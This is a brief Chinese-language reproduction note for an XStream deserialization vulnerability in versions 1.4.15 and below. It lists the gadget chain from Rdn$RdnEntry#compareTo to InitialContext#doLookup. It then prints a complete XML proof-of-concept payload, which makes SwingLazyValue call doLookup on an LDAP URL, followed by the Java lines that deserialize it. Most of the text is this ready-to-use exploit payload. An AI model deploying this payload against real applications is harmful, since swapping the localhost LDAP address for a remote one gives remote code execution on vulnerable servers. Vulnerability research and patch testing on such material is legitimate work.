XStream 反序列化漏洞,影响 1.4.15 及以下版本 利用链: Rdn$RdnEntry#compareTo-> XString#equal-> MultiUIDefaults#toString-> UIDefaults#get-> UIDefaults#getFromHashTable-> UIDefaults$LazyValue#createValue-> SwingLazyValue#createValue-> InitialContext#doLookup() 复现:构建一个 TreeSet 对象然后用 XStream 序列化到 XML 文件中,修改为以下 poc, 再用 XStream 反序列化 <sorted-set> <javax.naming.ldap.Rdn_-RdnEntry> <type>ysomap</type> <value class='javax.swing.MultiUIDefaults' serialization='custom'> <unserializable-parents/> <hashtable> <default> <loadFactor>0.75</loadFactor> <threshold>525</threshold> </default> <int>700</int> <int>0</int> </hashtable> <javax.swing.UIDefaults> <default> <defaultLocale>zh_CN</defaultLocale> <resourceCache/> </default> </javax.swing.UIDefaults> <javax.swing.MultiUIDefaults> <default> <tables> <javax.swing.UIDefaults serialization='custom'> <unserializable-parents/> <hashtable> <default> <loadFactor>0.75</loadFactor> <threshold>525</threshold> </default> <int>700</int> <int>1</int> <sun.swing.SwingLazyValue> <className>javax.naming.InitialContext</className> <methodName>doLookup</methodName> <args> <arg>ldap://localhost:1099/CallRemoteMethod</arg> </args> </sun.swing.SwingLazyValue> </hashtable> <javax.swing.UIDefaults> <default> <defaultLocale reference='../../../../../../../javax.swing.UIDefaults/default/defaultLocale'/> <resourceCache/> </default> </javax.swing.UIDefaults> </javax.swing.UIDefaults> </tables> </default> </javax.swing.MultiUIDefaults> </value> </javax.naming.ldap.Rdn_-RdnEntry> <javax.naming.ldap.Rdn_-RdnEntry> <type>ysomap</type> <value class='com.sun.org.apache.xpath.internal.objects.XString'> <m__obj class='string'>test</m__obj> </value> </javax.naming.ldap.Rdn_-RdnEntry> </sorted-set> XStream xstream = new XStream(); xstream.fromXML(xml);